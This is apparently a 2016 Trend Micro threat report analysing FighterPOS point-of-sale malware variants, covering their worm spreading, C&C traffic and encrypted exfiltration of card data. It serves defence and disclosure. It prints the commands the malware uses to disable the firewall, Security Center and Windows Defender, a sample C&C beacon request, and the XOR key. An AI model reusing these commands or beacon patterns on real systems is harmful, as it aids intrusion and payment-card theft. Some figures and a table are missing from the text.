FighterPOS Gets Worm Routine

TrendLabs Security Intelligence Blog

Jay Yaneza and Erika Mendoza
Trend Micro Cyber Safety Solutions Team

February 2016
Contents

Introduction........................................................................................................................................... 1
Floki Intruder (WORM_POSFIGHT.SMFLK).............................................................................................. 1
TSPY_POSFIGHT.F ................................................................................................................................. 4
Distribution ........................................................................................................................................... 8
Conclusion............................................................................................................................................. 8
Introduction

After identifying FighterPOS in April last year, we found that the threat actor began creating new variants of his tool – and he wasted no time doing so. In the months following our initial write-up, we uncovered some more versions of the EMV Card Data Recorder, another variant of FighterPOS (BrFighter) with the name 'Floki Intruder', and a very unusual version that borrows code from both NewPOSThings and a very old 2011 PoS threat called RDASRV.

Let us discuss these new discoveries.

**Floki Intruder (WORM_POSFIGHT.SMFLK)**

Right at the very start, Floki Intruder has an obvious resemblance with the main FighterPOS as it is based from the same vnLoader botnet client. However, its code has been shared and was compiled on a different machine (possibly a different threat actor).

```
0002e60: 10cf 4000 8035 4300 2814 0000 0850 4300 ..@..SC.(....PC.
0002e70: 661f 4000 0350 4300 2a00 5c00 4100 4300 f.@@..PC.*\..A.C.
0002e80: 3a00 5c00 5500 7300 6500 7200 7300 5c00 \:\U.s.e.r.s\.
0002e90: 7200 6f00 6f00 7400 5c00 4400 6500 7300 r.o.o.t.\..D.es.
0002ea0: 6b00 7400 6f00 7000 5c00 4200 7200 4600 k.t.o.p.\..B.r.F.
0002eb0: 6900 6700 6500 7400 6500 7200 2000 4600 i.g.h.t.e.r. \..F.
0002ec0: 7500 7300 6900 6f00 6e00 2000 7600 3100 u.s.i.o.n. \..v.1.
0002ed0: 3100 5c00 5000 7200 6f00 6a00 6500 6300 1.\..P.r.o.j.e.c.
0002ee0: 7400 3100 2e00 7600 6200 7000 0000 0000 t.l...v.b.p....
```

Figure 1: FighterPOS code compiled in two different machines
Floki Intruder appears to be an update to the main FighterPOS due to its added capabilities. This includes commands that disable Firewall and default Windows protection in addition to disabling the UAC. It also checks for other security products installed in the system by using WMI:

- `netsh firewall set opmode disable`
- `net stop security center`
- `net stop WinDefend`

![Figure 2. Query execution that detects security products.](image)

Floki Intruder is distributed through a compromised web site, with updated variants being downloaded from its C&C server. However, when reaching out to the C&C server, there is a slight change in the message being used by WORM_POSFIGHT.SMFLK:

```
GET /lkjhfsgdfsa01/bot/comando.php? id=3843646533573942&os=57936E46F77732058502050726F666573696F6E616C&com=434F4D5055544552303633&av=4E4F20414E54495054325553&ver=2.0 HTTP/1.1
Host: lkjhgfds.xyz
User-Agent: FromtheGods
Connection: close
```

![Figure 3. Hexadecimal value passed via URL](image)
As compared to the initial FighterPOS which used the Portuguese phrase ‘Novo Bot Infectado’ (New Bot Infected), WORM_POSFIGHT.SMFLK now has the English phrase ‘New Infection my God’. The reference to ‘god’ is later seen when it attempts to retrieve commands from the C&C panel as the HTTP User-Agent field used is ‘FromtheGods’. However, the C&C panel page retained the word ‘comando’, which is Portuguese for ‘command’.

The biggest change in this update is its ability to distribute copies itself. By using WMI, this malware was able to enumerate Logical Drives to drop copies of itself and an autorun.inf.
TSPY_POSFIGHT.F

As previously established, FigherPOS is derived from the vnLoader botnet client. It utilizes code from the RAM scraping functionality found in NewPOSThings and it creates a new file called ActiveComponent.exe upon execution. This method of reusing components was done again in files detect as but with a twist:

- One set uses Searcher.dll (sha1: 41bce7075969591c1667e7ba7ec8717e0def87d1) seen in RDASRV,
- A more recent set was using the previously seen RAM scraping functionality of NewPOSThings, dropped with the file name rservices.exe(sha1: a106bba216f71f468ae728c3f9e1db587500c30b).

We speculate that the development of TSPY_POSFIGHT.F was seemingly like a trial-and-error and progressive. The table below should give us a better understanding of the similarities and differences of this file set –
Upon analysis, the sample sets of TSPY_POSFIGHT.F were designed to be an upgrade of itself.
While TSPY_POSFIGHT.F is not derived from the vnLoader botnet client, the approach (or style) used here was similar – namely:

a) The main binary could be changed, but the scraper component was reused. The main FighterPOS reused the scraper from NewPOSThings, while TSPY_POSFIGHT.F reused components from RDASRV (sha1: 41bce7075969591c1667e7ba7ec8717e0def87d1) and the scraper component from FighterPOS (sha1: a106bba216f71f468ae728c3f9e1db587500c30b)

b) To utilize the output of the scraper component, the main binary had to redirect the output. FighterPOS redirected the scraper output to a file called “traces.txt”, and TSPY_POSFIGHT.F redirected the output to itself by piping the output of the child process (POS module).

c) Both FighterPOS and TSPY_POSFIGHT.F were seen mostly within Brazil, and some within the United States.

Since TSPY_POSFIGHT.F was not derived from vnLoader, the command control (C&C) server communication is different. Unlike the previously discussed variant, TSPY_POSFIGHT.F does not accept backdoor commands, nor obtain any other information about the infected computer. It only connects to the server to send possible credit card logs that the scraper has gathered.

The main executable file monitors the file \{computername\}-{\username} –DPS.log in the ‘bak’ folder then sends its contents every hour via HTTP POST with the following arguments:

- User – combination of computername and username, separated by a dash (-)
- Info – all the contents of the log file
Unlike BrFighter and Floki Intruder, TSPY_POSFIGHT.F protects its data by encrypting the log files. It does a byte-per-byte XOR against a Microsoft Office serial key, 'VBWYT-BBWKV-P86YX-G642C-3C3D3'. The data to be sent via HTTP POST needs to encode the encrypted string to eliminate special and reserved characters.
Figure 10. Encryption of log files and eliminating special and reserved characters.

Distribution

Floki Intruder (WORM_POSFIGHT.SMFLK) has been spotted as early as July 2015 and has slowed down distribution considerably towards the end of 2015. This version of FighterPOS has been spotted in Brazil and, surprisingly, Singapore. TSPY_POSFIGHT.F, on the other hand, has been observed as early as April 2015 mostly within Brazil and the United States. Not surprisingly, the targets of both are spread across small and medium sized businesses, but we’ve seen infections in the satellite locations of a larger organization (meaning, not the main branch).

Conclusion

One of the best practices of protecting such terminals is to segregate their traffic and employ strict access controls but, strangely, the distribution and design of the threats we have discussed above seem to imply that their targets have bare internet access.

Also, since PoS terminals have an expected set of applications to be run, consider implementing application whitelisting on the terminals.

The modification done on FighterPOS to include other functionalities also echo what we have seen in other modifications done in old botnet code like what we have observed in WORM_KASIDET.
Trend Micro detects all of the indicators of both threats, and is constantly in the look-out for such evolution.
Trend Micro Incorporated, a global leader in security software, strives to make the world safe for exchanging digital information. Our innovative solutions for consumers, businesses and governments provide layered content security to protect information on mobile devices, endpoints, gateways, servers and the cloud. All of our solutions are powered by cloud-based global threat intelligence, the Trend Micro™ Smart Protection Network™, and are supported by over 1,200 threat experts around the globe. For more information, visit www.trendmicro.com.

©2016 by Trend Micro, Incorporated. All rights reserved. Trend Micro and the Trend Micro t-ball logo are trademarks or registered trademarks of Trend Micro, Incorporated. All other product or company names may be trademarks or registered trademarks of their owners.